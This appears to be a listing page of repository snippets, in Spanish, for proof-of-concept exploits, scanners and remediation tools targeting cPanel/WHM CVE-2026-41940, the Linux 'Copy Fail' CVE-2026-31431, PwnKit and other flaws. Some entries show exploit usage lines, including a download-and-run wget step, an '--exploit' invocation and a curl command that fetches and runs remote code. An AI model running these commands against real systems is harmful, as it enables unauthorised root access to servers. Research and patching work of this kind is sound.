cPanelSniper

cPanelSniper CVE-2026-41940 — Bypass de autenticación en cPanel & WHM mediante inyección CRLF en el archivo de sesión Cadena de explotación de 4 etapas · Shell WHM interactivo · Escáner masivo · Listo para pipelines · Solo stdlib Descripción general cPanelSniper es un framework de explotación...

CVE-2026-41940-AuthBypass-Detector

Detección y Verificación de CVE-2026-41940 Resumen Esta herramienta detecta instancias de cPanel/WHM vulnerables a CVE-2026-41940 , una omisión crítica de autenticación descubierta por watchTowr Labs. La vulnerabilidad permite que un atacante no autenticado obtenga acceso root a WHM mediante una...

copy-fail

copy-fail PoC de CVE-2026-31431 USO: wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...

2026-41940-poc

CVE-2026-41940 - Bypass de autenticación en cPanel/WHM CVSS 9.8 | Acceso root no autenticado mediante inyección CRLF Uso python3 cp.py -t cpanel.target.com detectar python3 cp.py -t cpanel.target.com --exploit explotar @nickpaulsec...

CVE-2026-41940-cPanel-Auth-Bypass-Exploit

CVE-2026-41940: Análisis de Bypass de Autenticación en cPanel/WHM Resumen de la Vulnerabilidad CVE-2026-41940 es una vulnerabilidad crítica de bypass de autenticación en cPanel y WHM que afecta a todas las versiones actualmente soportadas. Permite a un atacante no autenticado eludir la...

poc-cpanel-cve-2026-41940

POC cPanel CVE-2026-41940 Una herramienta de auditoría de seguridad de alto rendimiento y multi-hilo diseñada para detectar CVE-2026-41940 , una vulnerabilidad crítica de Omisión de Autenticación en cPanel & WHM descubierta en abril de 2026. Esta herramienta aprovecha una técnica de Inyección CRL...

CPanel-Audit-Remediation-Tool

🛡️ Oscar Constanzo Audit & Patch Tool CVE-2026-41940 Professional Security Auditing & Incident Response Suite for cPanel Infrastructure. 📖 Description This tool was developed by Oscar Constanzo Quezada, AKA Underhost to identify and remediate the CVE-2026-41940 vulnerability in cPanel servers. The...

CVE-2026-41940

CVE-2026-41940 Exploit Automático Descripción General CVE-2026-41940 es un exploit de prueba de concepto PoC dirigido a cPanel/WHM. Este exploit demuestra una omisión de autenticación no autenticada mediante inyección CRLF para filtrar tokens de seguridad y obtener acceso de nivel root a la...

cve_2026_31431_audit

Auditoría CVE-2026-31431 Este proyecto proporciona un script profesional en Python diseñado para comprobar si un sistema es vulnerable a CVE-2026-31431 y demuestra cómo explotarlo con fines de investigación. 🎬 Flujo de trabajo completo El siguiente diagrama ilustra el flujo de trabajo completo...

CVE-2026-31431-RCE-Exploit

🔴 CVE-2026-31431 — "Copy Fail" Un fallo lógico del kernel de Linux de 9 años que otorga acceso root en segundos Resumen Copy Fail es una vulnerabilidad de escalada de privilegios local LPE de alta severidad en el subsistema criptográfico del kernel de Linux algifaead. Descubierta y divulgada por...

copy-fail-CVE-2026-31431-php

CVE-2026-31431 Fallo de Copia PoC en PHP www-data@jumpbox:/home$ id uid=33www-data gid=33www-data groups=33www-data www-data@jumpbox:/home$ uname -a Linux testbox 5.15.0-136-generic 147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x8664 x8664 x8664 GNU/Linux www-data@jumpbox:/home$ php...

CVE-2026-31431-Copy-Fail

CVE-2026-31431-Copy-Fail Explotado por infrar3d Este repositorio contiene un exploit de prueba de concepto para CVE-2026-31431 Copy Fail. CVE-2026-31431, conocido como "Copy Fail", es una vulnerabilidad de Escalada Local de Privilegios LPE de alta gravedad en el kernel de Linux que ha estado...

CVE-2026-41940-POC

CVE-2026-41940 – PoC de Bypass de Autenticación en cPanel/WHM Este repositorio contiene un exploit de prueba de concepto PoC para CVE-2026-41940, que demuestra un bypass de autenticación en múltiples pasos en cPanel/WHM mediante inyección CRLF y envenenamiento de sesión. Aviso legal: Este código ...

CVE-2021-4034

CVE-2021-4034 Obviamente no es original. Lo rehíce para entender qué está pasando. Créditos a https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt por encontrar la vulnerabilidad. Otros PoCs que me ayudaron a entender el exploit: https://github.com/berdav/CVE-2021-4034...

CVE-2021-4034

CVE-2021-4034 Un simple archivo PWNKIT para convertirte en root. | Solo con fines educativos. ¿Qué es? Es un PWNKIT pre-fabricado y pre-comprimido. ¿Por qué? Estoy trabajando en un script AUTO-PWNKIT para automatizar el pwnkit y usaré este repositorio. Herramienta AutoPwnkit AutoPwnkit:...

copy-fail

Copy Fail PoC Prueba de concepto para CVE=2026-31431 Estos scripts elevan a cualquier usuario normal a root. Funciona en la mayoría de las distribuciones de Linux y CPUs. Artículo técnico en https://copy.fail...

CVE-2026-24061

Bypass de Autenticación por Inyección de Argumentos en GNU InetUtils telnetd CVE-2026-24061 En enero de 2026, se descubrió que el servicio GNU telnetd de GNU InetUtils era vulnerable a un bypass de autenticación porKyu Neushwaistein alias Carlos Cortes Alvarez. Registrada como CVE-2026-24061, est...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash algunos usos: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

Pack2TheRoot

CVE-2026-41651 - Vulnerabilidad Pack2TheRoot Resumen CVE-2026-41651, también conocida como la vulnerabilidad Pack2TheRoot, es una falla de seguridad crítica que afecta a ciertos sistemas Linux. Permite a un atacante escalar privilegios, obteniendo potencialmente acceso root o comprometiendo el...

cpanel-cve-2026-41940-fix

cpanel-cve-2026-41940-fix Detección y remediación en un solo paso para servidores cPanel/WHM comprometidos mediante CVE-2026-41940 y la campaña del botnet nuclear.x86. Qué es esto El 28 de abril de 2026 , cPanel reveló una vulnerabilidad de omisión de autenticación pre-autenticación CVE-2026-4194...